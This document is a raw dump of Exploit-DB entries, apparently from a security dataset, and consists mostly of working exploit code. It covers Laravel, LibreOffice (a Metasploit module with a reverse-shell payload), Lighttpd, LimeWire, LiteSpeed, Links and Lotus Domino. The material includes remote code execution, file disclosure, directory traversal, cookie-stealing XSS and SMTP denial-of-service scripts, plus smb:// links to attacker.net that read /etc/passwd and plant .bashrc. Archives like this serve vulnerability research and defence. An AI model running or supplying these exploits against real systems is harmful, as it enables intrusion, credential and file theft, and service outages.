deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39318
Description: Laravel - 'Hash::make()' Password Truncation Security
Type: remote
Platform: multiple
Date: 2014-09-16
Author: Pichaya Morimoto

Exploit:
source: https://www.securityfocus.com/bid/69849/info

Laravel is prone to a security weakness due to pseudo password hash collision.

Attackers can exploit this issue to bypass intended security restrictions. This may aid in further attacks. 

// user input password
$input = str_repeat('A',72);
// plaintext password
$pass1 =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'mysupersecretpassword';
$pass2 =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'longcatishere';
// hashed password
$hash1 = Hash::make($pass1);
$hash2 = Hash::make($pass2);
// match?
$status1 = Hash::check($input, $hash1)?'Yes':'No';
$status2 = Hash::check($input, $hash2)?'Yes':'No';

User 1
Desc. Value
$input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$pass1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmysupersecretpassword
Hash::make($pass1)
$2y$10$9oMcpTwHgTzR5ZUMqlnMMOx/P18QZ5e9054lq.pwxw1O9urX3JHHu
Hash::check($input, $hash1) Yes

User 2
Desc. Value
$input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$pass2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlongcatishere
Hash::make($pass2)
$2y$10$W7wwB4nLmFjrenJGmx1uauqhjzikZNZA0qzxH8wkbiSmVatCYrAUm
Hash::check($input, $hash2) Yes
Exploit-DB #36836
Description: Legend Perl IRC Bot - Remote Code Execution
Type: remote
Platform: multiple
Date: 2015-04-27
Author: Jay Turla

Exploit:
#
# legend_rce.py
# Legend Perl IRC Bot Remote Code Execution PoC
# author: Jay Turla ( @shipcod3 )
# description: This is a RCE PoC for Legend Bot which has been used in the Shellshock spam October 2014. 
# reference: http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html
# greetz to ROOTCON (rootcon.org) goons
#

import socket
import sys

def usage():
     print("USAGE: python legend_rce.py nick")
     print("Sample nicks found in the wild: god, ARZ, Zax, HackTech, TheChozen")
     
def main(argv):
    
    if len(argv) < 2:
        return usage()

    #irc server connection settings
    botnick = sys.argv[1] #admin payload for taking over the Legend Bot
    server = "80.246.50.71" #irc server
    channel = "#Apache" #channel where the bot is located

    irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket
    print "connecting to:"+server
    irc.connect((server, 2015)) #connects to the server, you can change the port by changing 2015 for example :)
    irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :legend.rocks\n") #user authentication
    irc.send("NICK "+ botnick +"\n") #sets nick
    irc.send("JOIN "+ channel +"\n") #join the chan
    irc.send("PRIVMSG "+channel+" :!legend @system 'uname -a' \n") #send the payload to the bot

    while 1:    #puts it in a loop
        text=irc.recv(2040)  #receive the text
        print text   #print text to console

        if text.find('PING') != -1:                          #check if 'PING' is found
            irc.send('PONG ' + text.split() [1] + '\r\n') #returns 'PONG' back to the server (prevents pinging out!)
        if text.find('!quit') != -1: #quit the Bot
            irc.send ("QUIT\r\n") 
            sys.exit()
        if text.find('Linux') != -1:                         
            irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")
            irc.send ("QUIT\r\n")
            sys.exit()

if __name__ == "__main__":
    main(sys.argv)
Exploit-DB #47298
Description: LibreOffice < 6.2.6 Macro - Python Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2019-08-21
Author: LoadLow

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'LibreOffice Macro Python Code Execution',
      'Description'     => %q{
        LibreOffice comes bundled with sample macros written in Python and
        allows the ability to bind program events to them.

        LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.

        This module generates an ODT file with a dom loaded event that,
        when triggered, will execute arbitrary python code and the metasploit payload.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Nils Emmerich',    # Vulnerability discovery and PoC
          'Shelby Pace',      # Base module author (CVE-2018-16858), module reviewer and platform-independent code
          'LoadLow',          # This msf module
          'Gabriel Masei'     # Global events vuln. disclosure
        ],
      'References'      =>
        [
          [ 'CVE', '2019-9851' ],
          [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ],
          [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ],
          [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
        ],
      'DisclosureDate'  => '2019-07-16',
      'Platform'        => 'python',
      'Arch'            => ARCH_PYTHON,
      'DefaultOptions'  => { 'Payload' => 'python/meterpreter/reverse_tcp' },
      'Targets'         => [ ['Automatic', {}] ],
      'DefaultTarget'   =>  0
    ))

    register_options(
    [
      OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),
      OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),
    ])
  end

  def gen_file
    text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])
    py_code = Rex::Text.encode_base64(payload.encoded)
    @cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"
    @cmd = Rex::Text.html_encode(@cmd)

    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
    libre_file = ERB.new(fodt_file).result(binding())

    print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")

    libre_file
  rescue Errno::ENOENT
    fail_with(Failure::NotFound, 'Cannot find template file')
  end

  def exploit
    fodt_file = gen_file

    file_create(fodt_file)
  end
end
Exploit-DB #35252
Description: libxml2 2.6.x - 'XMLWriter::writeAttribute()' Memory Leak Information Disclosure
Type: remote
Platform: multiple
Date: 2011-01-24
Author: Kees Cook

Exploit:
source: https://www.securityfocus.com/bid/45973/info

The 'libxml2' library is prone to a local information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 

<?php 
# Copyright 2010, Canonical, Ltd. 
# Author: Kees Cook <kees@ubuntu.com> 
# License: GPLv3 
# 
# Proof-of-concept memory content leak 

$xw = new XMLWriter(); 
$xw->openURI('php://output'); 

$xw->startElement('input'); 
$xw->writeAttribute('value', "\xe0\x81"); 
$xw->endElement(); 

?>
Exploit-DB #18763
Description: Liferay 6.0.x - WebDAV File Reading
Type: remote
Platform: multiple
Date: 2012-04-22
Author: Jelmer Kuperus

Exploit:
Specially crafted webdav request allows reading of local files on liferay 6.0.x

Description:

Liferay Portal is an enterprise portal written in Java

By creating a specially crafted webdav request that contains an
external entity it is possible to read files from a liferay server.
and echo these back in the response. You could use this for instance
to download configuration files containing database passwords or ssh
keys located in a users home folder

Proof of concept:

Code demonstrating the vulnerability can be found at

https://github.com/jelmerk/LPS-24562-proof
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18763.tar.gz

Systems affected:

Liferay 6.0.5 ce is confirmed to be vulnerable
Liferay 6.0.6 ce is confirmed to be vulnerable

Vendor status :

Liferay was notified januari 2 2012 by filing a bug in their public
bugtracker under issue number LPS-24562. The issue has since been
flagged as private and has been resolved.
Exploit-DB #4391
Description: Lighttpd 1.4.16 - FastCGI Header Overflow Remote Command Execution
Type: remote
Platform: multiple
Date: 2007-09-10
Author: Mattias Bengtsson

Exploit:
/*
 * Remote Lighttpd + FastCGI + PHP example exploit
 *
 * Tested with Lighttpd 1.4.16 and PHP 5.2.4
 *
 * To avoid abuse there's a "remove me" in the code.
 *
 * Example:
 *
 * # ./exploit localhost 80 /etc/passwd
 *
 * or
 *
 * # wget --referer="<?php system('/usr/bin/id'); ?>" localhost
 * # ./exploit localhost 80 /var/log/lighttpd/access.log 
 *
 * 
 * Mattias Bengtsson <mattias@secweb.se>
 *
 * http://www.secweb.se/
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/socket.h>

#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>

int append_header(char *p, int c, int a, int b)
{
	c = 0x41 + (c % 25);

	memset(p, c, a + b + 4);

	p[a + 0 + 0] = ':';
	p[a + 0 + 1] = ' ';
	p[a + b + 2] = '\r';
	p[a + b + 3] = '\n';

	return a + b + 4; 
}

int network(const char *host, int port)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int sock;

	sock = socket(AF_INET, SOCK_STREAM, 0);

	addr.sin_family = AF_INET;

	if((he = gethostbyname(host)) == NULL)
		return 0;

	memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);

	addr.sin_port = htons(port);

	connect(sock, (struct sockaddr *)&addr, sizeof(addr));

	return sock;
}

int main(int argc, char **argv)
{
	char *b, *p;
	int sock, i;
	char tmp[1024];

	if(argc < 4) {
		fprintf(stderr, "Usage: %s <host> <port> <file>\n", argv[0]);
		exit(0);
	}

	sock = network(argv[1], atoi(argv[2]));

	if(sock <= 0) {
		fprintf(stderr, "Host down?\n");
		exit(0);
	}
	
	b = p = malloc(0xffff + 0xffff);

	p += sprintf(p, "GET /index.php HTTP/1.1\r\n");
	p += sprintf(p, "Host: %s\r\n", argv[1]);
	p += sprintf(p, "A: A\r\nB: ");

	*p++ = 128;
	*p++ = 0x00;
	*p++ = 0x54;
	*p++ = 0x42;
	*p++ = '\r';
	*p++ = '\n';
	p = 0x00;
	
	p += append_header(p, 0, 4, 1);
	p += append_header(p, 1, 200 , 25079);

	p -= 3631;

	*p++ = 1; // Version
	*p++ = 4; // Type
	*p++ = 0;
	*p++ = 0;

	i = sprintf(tmp, "SCRIPT_FILENAME");
	sprintf(tmp + i, "%s", argv[3]);

	*p++ = 0x00; // Length 
	*p++ = 2 + strlen(tmp); // Length
	*p++ = 0x00; // Padding
	*p++ = 0x10;
	*p++ = i; // name_len
	*p++ = strlen(tmp) - i; // var_len

	memcpy(p, tmp, strlen(tmp));

	p += 3631 - 8 - 2;

	p += append_header(p, 2, 200, 40007);
	p += sprintf(p, "\r\n\r\n");

	write(sock, b, (p - b));

	i = read(sock, b, 0xffff);
	*(b + i) = 0;
	
	printf("%s\n", b);

	free(b);
	close(sock);

	return 0;
}

// milw0rm.com [2007-09-10]
Exploit-DB #879
Description: LimeWire 4.1.2 < 4.5.6 - 'GET' Remote File Read
Type: remote
Platform: multiple
Date: 2005-03-14
Author: lammat

Exploit:
#!/usr/bin/perl
#Limewire 4.1.2 - 4.5.6 remote and fucking lame exploit	    *	
#                written by lammat 			   *
#              http://grpower.ath.cx		          *
#		lammat@iname.com			 *						
#	      Discovered by Kevin Walsh                 *	

use IO::Socket;

$host = @ARGV[0];
$file = @ARGV[1];

unless (@ARGV == 2) {
print "usage: $0 host file\n";
print "E.g: $0 10.0.0.2 /etc/passwd\n";
exit
}

@req = "GET /gnutella/res//$file HTTP/1.1\n
User-Agent: I-AM-AN-ATTACKER/1.0\n
Host: 0.0.0.0:0\n
Accept: */*\n
Connection: Keep-Alive";

print "[+] checking if host exists...\n";
$string = inet_aton($host) || die "[-] Host does not exist...\n";

print "[+] $host exists...connecting...\n";
$web = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $host,
PeerPort => "6346",
)
or die "cannot connect to the $host";
if ($web)
{
print "[+] Connected...sending the request...\n";

print $web "@req";


while ( <$web> )
{ print }
close $web;
}

# milw0rm.com [2005-03-14]
Exploit-DB #2784
Description: Links 1.00pre12 - 'smbclient' Remote Code Execution
Type: remote
Platform: multiple
Date: 2006-11-14
Author: Teemu Salmela

Exploit:
<!--
Links smbclient command execution
-----------------------------------------------------------------------------
There is a flaw in the Links web browser, that allows malicious web sites to
execute smbclient commands on the victim's machine. This flaw makes it
possible to read any file from the victim system (any file that the user
running links has read access), or to upload any file to the victim system
(any file that the user running links can create/overwrite).  The attacker
could, for example, upload ~/.bashrc to gain shell access.

Version numbers:
-----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also
be installed.

Vulnerable code:
-----------------------------------------------------------------------------
smb_func() in smb.c:
   ...
   143                 if (*share) {
   144                         if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
   145                                 if (dir) {
   146                                         v[n++] = "-D";
   147                                         v[n++] = dir;
   148                                 }
   149                                 v[n++] = "-c";
   150                                 v[n++] = "ls";
   151                         } else {
   152                                 unsigned char *ss;
   153                                 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
   154                                 add_to_strn(&s, dir);
   155                                 add_to_strn(&s, "\" -");
   156                                 while ((ss = strchr(s, '/')))
*ss = '\\';
   157                                 v[n++] = "-c";
   158                                 v[n++] = s;
   159                         }
   160                 }
   161                 v[n++] = NULL;
smbclient is executed:
   162                 execvp("smbclient", (char **)v);
   163                 fprintf(stderr, "smbclient not found in $PATH");
   164                 _exit(1);
   ...
-->
<html>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>

# milw0rm.com [2006-11-14]
Exploit-DB #22201
Description: List Site Pro 2.0 - User Database Delimiter Injection
Type: remote
Platform: multiple
Date: 2003-01-24
Author: Statix

Exploit:
source: https://www.securityfocus.com/bid/6685/info

List Site PRO is a top site ranking system that counts hits from member sites and then ranks them according to the number of hits.

A problem has been reported for List Site PRO that would allow an attacker to inject arbitrary values via html input form fields into the underlying flat-file database used by List Site PRO.

A malicious user could sign up like this:

username:username
email:email@emial.com
url:www.url.com
bannerurl:www.site.com/banner.gif ||password|%User_ID%|60|468
banner height:68
banner width:460
password:pass

To reset the sites,specified by %User_ID%,password to 'password'.
Exploit-DB #13850
Description: Litespeed Technologies - Web Server Remote Poison Null Byte
Type: remote
Platform: multiple
Date: 2010-06-13
Author: kingcope

Exploit:
Litespeed Technologies Web Server Remote Poison null byte Zero-Day
discovered and exploited by Kingcope in June 2010
google gives me over 9million hits

Example exploit session:

%nc 192.168.2.19 80
HEAD / HTTP/1.0

HTTP/1.0 200 OK
Date: Sun, 13 Jun 2010 00:10:38 GMT
Server: LiteSpeed <-- consider it 0wned
Accept-Ranges: bytes
Connection: close
ETag: "6ff-4c12e288-a3ee"
Last-Modified: Sat, 12 Jun 2010 01:27:36 GMT
Content-Type: text/html
Content-Length: 1791

%fetch http://192.168.2.19/config.php
config.php 0 B 0 Bps
%cat config.php
%/usr/local/bin/perl Litespeed.pl 192.168.2.19 config.php
LiteSpeed Technologies Web Server Remote Source Code Disclosure Exploit
By Kingcope
June 2010

Saving source code of config.php into 192.168.2.19-config.php
Completed.
Operation Completed :>.
%cat 192.168.2.19-config.php
<?php
$db_secret="TOP SECRET PASSWORD";
?>
%

Exploit:

#!/usr/bin/perl
#
#LiteSpeed Technologies Web Server Remote Source Code Disclosure zero-day Exploit
#By Kingcope
#Google search: ""Proudly Served by LiteSpeed Web Server""
#June 2010
#Thanks to TheDefaced for the idea, http://www.milw0rm.com/exploits/4556
#

use IO::Socket;
use strict;

sub getphpsrc {
my $host = shift;
my $file = shift;

if (substr($file, 0, 1) eq "/") {
$file = substr($file, 1);
}
my $file2 = $file;
$file2 =~ s/\//_/g;
print "Saving source code of $file into $host-$file2\n";

my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => '80',
Proto => 'tcp') || die("Could not connect
to $ARGV[0]");

print $sock "GET /$file\x00.txt HTTP/1.1\r\nHost: $ARGV[0]\r\nConnection:
close\r\n\r\n";

my $buf = "";

my $lpfound = 0;
my $saveme = 0;
my $savveme = 0;
while(<$sock>) {
if ($_ =~ /LiteSpeed/) {
$lpfound = 1;
}

if ($saveme == 2) {
$savveme = 1;
}

if ($saveme != 0 && $savveme == 0) {
$saveme++;
}

if ($_ =~ /Content-Length:/) {
$saveme = 1;
}

if ($savveme == 1) {
$buf .= $_;
}
}

if ($lpfound == 0) {
print "This does not seem to be a LiteSpeed Webserver, saving file anyways.\n";
}

open FILE, ">$host-$file2";
print FILE $buf;
close FILE;
print "Completed.\n";
}

print "LiteSpeed Technologies Web Server Remote Source Code Disclosure Exploit\n";
print "By Kingcope\n";
print "June 2010\n\n";

if ($#ARGV != 1) {
print "Usage: perl litespeed.pl <domain/ip> <php file>\n";
print "Example: perl litespeed.pl www.thedomain.com index.php\n";
exit(0);
}

getphpsrc($ARGV[0], $ARGV[1]);

print "Operation Completed :>.\n";
Exploit-DB #37947
Description: Litespeed Web Server - 'gtitle' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2012-03-12
Author: K1P0D

Exploit:
source: https://www.securityfocus.com/bid/55946/info

LiteSpeed Web Server is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

LiteSpeed Web Server 4.1.11 and prior versions are vulnerable. 

http://www.exxample.com/service/graph_html.php?gtitle=VHOSTa%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #21996
Description: Lotus Domino 5.0.8-9 - Non-Existent NSF Database Banner Information Disclosure
Type: remote
Platform: multiple
Date: 2002-11-07
Author: Frank Perreault

Exploit:
source: https://www.securityfocus.com/bid/6128/info


Lotus Domino reportedly discloses sensitive banner information when a non-existent NSF database is requested. This may allow a remote attacker to discover information about the layout of the filesystem.

This issue is present on Lotus Domino Server with the 'DominoNoBanner' set to a value of '1'.

http://www.example.com/nosuchdb.nsf
Exploit-DB #19944
Description: Lotus Domino Enterprise Server 5.0.1/5.0.2/5.0.3 / Mail Server 5.0.1/5.0.2/5.0.3 - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2000-05-18
Author: smiler

Exploit:
Lotus Domino Enterprise Server 5.0.1/5.0.2/5.0.3,Mail Server 5.0.1/5.0.2/5.0.3 Buffer Overflow

source: https://www.securityfocus.com/bid/1229/info

The code that handles the 'rcpt to' 'saml from' and 'soml from' commands in the ESMTP service of Lotus Domino Server has an unchecked buffer. If Lotus Domino Server receives an argument of more than 4 KB to the any of the listed commands, the system will crash and will require a reboot in order to regain normal functionality. 

#!/usr/bin/perl
# Need net::telnet to run
# Expl0it By smiler@vxd.org
# Tested with sucess against Lotus Notes 5.0.1, 5.0.2b, 5.0.3
# CMail Server version 2.4.6, Argosoft Mail Server version 1.2.1.0 
# and probably many others that I hadnt chance to explore.
# I wrote this after Michal Zalewski brought this issue in BugTraq.
# Cheers 351 and FractalG :)

use Net::Telnet;   


print "SmtpKILL By smiler\@vxd.org\n";

if (not $ARGV[1]) {
print qq~
Usage : smtpkill.pl  <type> <host>
	<type> Type of attack :
		type 1 = long mail from: someone\@4k_of_junk
		type 2 = long rcpt to: someone\@4k_of_junk
		type 3 = long helo longdomain_with_4k_of_junk
		type 4 = long undefined command (4k_of_junk)
		type 5 = long help 4k_of_junk
		type 6 = long mail from: and mail to:

	<host> Host that you want to DOS, Ip or Domain will be ok.
Example Usage : smtpkill.pl 5 127.0.0.1
~; exit;}      

$type=$ARGV[0];
$target=$ARGV[1];

print "TYPE ATTACK: $type\n";
print "TARGET : $target\n";



for ($i=4096;$i<5096;$i++)
 {
        $obj=Net::Telnet->new( Host => "$target",Port => 25);    

	if ($type=~ "1") { 
	$helo="helo ptrulez";
	$from="mail from: v0v0@". 'ptrulez' x $i;
	$rcpt="rcpt to: v0v0\@v0v0.pt";
	}

	if ($type=~ "2") { 
	$helo="helo ptrulez";
	$from="mail from: v0v0\@v0v0.pt";
	$rcpt="rcpt to: v0v0@". 'ptrulez' x $i;
	}

	if ($type=~ "3") {
	$helo="helo ". 'ptrulez' x $i;
	$from="mail from: v0v0\@v0v0.pt";
	$rcpt="rcpt to: v0v0\@v0v0.pt";
	}

	if ($type=~ "4") {
	$helo="havesomefun". 'ptrulez' x $i;
	}

	if ($type=~ "5") {
	$helo="help ". 'ptrulez' x $i;
	}

	if ($type=~ "6") {
	$helo="helo ptrulez";
	$from="mail from: ". 'ptrulez' x $i;
	$rcpt="rcpt to: ". 'ptrulez' x $i;
	}

        print "$helo\n";$obj->print("$helo");   
        print "$from\n";$obj->print("$from");
        print "$rcpt\n";$obj->print("$rcpt");    
        $obj->close;
 }
Exploit-DB #20530
Description: Lotus Domino Server 5.0.x - Directory Traversal (2)
Type: remote
Platform: multiple
Date: 2001-01-05
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/2173/info
 
It is possible for a remote user to gain access to any known file residing on the Lotus Domino Server 5.0.6 and previous. A specially crafted HTTP request comprised of '.nsf' and '../' along with the known filename, will display the contents of the particular file with read permissions.
 
Successful exploitation of this vulnerability could enable a remote user to gain access to systems files, password files, etc. This could lead to a complete compromise of the host.

#!/bin/sh

HOST=$1
PATH=$2

start()
{
	/usr/bin/lynx -dump http://$HOST/.nsf/../$PATH
}


if [ -n "$HOST" ]; then 
        start
else
        echo "$0 <host> <path>"
fi